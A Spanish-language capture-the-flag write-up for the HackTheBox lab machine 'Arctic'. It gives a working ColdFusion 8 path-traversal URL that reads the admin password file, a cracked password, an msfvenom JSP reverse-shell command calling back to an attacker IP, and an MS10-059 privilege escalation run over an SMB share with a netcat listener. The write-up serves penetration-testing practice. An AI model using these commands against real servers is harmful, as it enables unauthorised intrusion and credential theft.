HackTheBox Easy Windows ColdFusion LFI Scheduled Tasks

Artic

Adobe ColdFusion 8 explotado mediante LFI para obtener credenciales, subir una JSP reverse shell y escalar con MS10-059.

cat4clysm
Herramientas utilizadas
nmap searchsploit msfvenom windows-exploit-suggester smbserver.py

Scanning

root@kali:~$
nmap -sC -sV -p 135,8500,49154 -n -Pn 10.10.10.11 -oN targeted
nmap

Puerto 8500 - ColdFusion

Accedemos a http://10.10.10.11:8500 y encontramos Adobe ColdFusion 8.

web admin
root@kali:~$
searchsploit coldfusion 8
searchsploit

Explotamos el LFI del exploit 14641.py para leer password.properties:

http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en
LFI hash
password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03
# Crackeado en crackstation.net: happyday
admin panel logged in

Explotacion - Reverse Shell JSP

Con acceso al panel admin, creamos una tarea programada para ejecutar una JSP reverse shell.

root@kali:~$
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.27 LPORT=443 -f raw > shell.jsp
task config task python server

Escuchamos en el puerto 443 y accedemos a http://10.10.10.11:8500/CFIDE/shell.jsp.

reverse shell
type C:\Users\tolis\Desktop\user.txt

Escalada de Privilegios - MS10-059

root@kali:~$
./windows-exploit-suggester.py -d 2020-10-25-mssb.xls -i systeminfo.txt
exploit suggester

Descargamos MS10-059 (Chimichurri) y lo ejecutamos via SMB server:

root@kali:~$
smbserver.py a $(pwd)
nc -lvp 4444
\\10.10.14.27\a\MS10-059.exe 10.10.14.27 4444
type C:\Users\Administrator\Desktop\root.txt

Lecciones aprendidas